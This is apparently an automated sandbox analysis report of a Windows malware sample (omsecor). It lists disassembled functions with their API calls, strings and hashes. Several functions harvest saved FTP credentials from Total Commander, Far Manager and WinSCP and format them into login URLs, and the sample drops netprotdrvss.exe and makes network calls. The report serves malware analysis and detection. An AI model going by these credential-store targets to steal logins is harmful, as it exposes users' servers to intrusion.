GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 00406D14 Relevance: 3.0, APIs: 2, Instructions: 22
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetAttemptConnect.WININET(00000000), ref: 00406D18
InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406D2C

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Internet$AttemptConnectOpen
String ID:
API String ID: 2984283330-0
Opcode ID: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction ID: 3045e06cac02f36cd47ad2bbc893350a3e6c997d3593ce6e368a9b0161d3b649
Opcode Fuzzy Hash: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction Fuzzy Hash: 04D05E713171312BE7345B763E48ACB2E4CDF02A61701043AF406D8090D6348851C6E8

Non-executed Functions

Function 004039EA Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 004039F3
default, xrefs: 00403A8B
ftp://%s:%s@%s, xrefs: 00403B50
username, xrefs: 00403AA9
connections, xrefs: 00403A79
host, xrefs: 00403A9A
password, xrefs: 00403AB8

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfileString$AllocHeap
String ID: SOFTWARE\Ghisler\Total Commander$connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 2479592106-2015850556
Opcode ID: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxAttachControl, xrefs: 0040335F
AtlAxWinInit, xrefs: 00403357
atl, xrefs: 00403340
AtlAxGetControl, xrefs: 0040336C

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

port, xrefs: 004035F1
user, xrefs: 00403601
ftp://%s:%s@%s:%u, xrefs: 004036C3
pass, xrefs: 00403611

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

., xrefs: 004082CE
.8@, xrefs: 0040833F
.8@, xrefs: 00408379
., xrefs: 004082B7

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*totalcmd*, xrefs: 00403CB7
&, xrefs: 00403D07
#, xrefs: 00403D0E
installdir, xrefs: 00403DA1
ftpininame, xrefs: 00403C41
$, xrefs: 00403CF9
*total*commander*, xrefs: 00403CC9
*ghisler*, xrefs: 00403CD8

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

^client=, xrefs: 0040301A
file, xrefs: 0040300F
From: , xrefs: 004030C8
none, xrefs: 00402F16
^key=, xrefs: 0040305E
.html, xrefs: 00402FFE, 004031EE
Via: , xrefs: 004030ED

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 11d3048b97e390bc55daf18a5165622c721ea4f879a8cde4a2ec179576955272
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 11d3048b97e390bc55daf18a5165622c721ea4f879a8cde4a2ec179576955272
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

ftp://%s:%s@%s, xrefs: 004043B7
username, xrefs: 00404266
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
user, xrefs: 00404274
hostname, xrefs: 00404258
password, xrefs: 00404282
SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: HeapOpen$AllocCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 416369273-4007225339
Opcode ID: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

username, xrefs: 004045A2
portnumber, xrefs: 00404594
ftp://%s:%s@%s:%u, xrefs: 004046F3
hostname, xrefs: 00404586
password, xrefs: 004045B0
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

+@, xrefs: 00409301
javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

hOA, xrefs: 00405305
ftp, xrefs: 004052C5
CsM, xrefs: 004053B2
From: , xrefs: 00405318
^key=, xrefs: 004052D0
.html, xrefs: 004052B4
Via: , xrefs: 0040533C

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
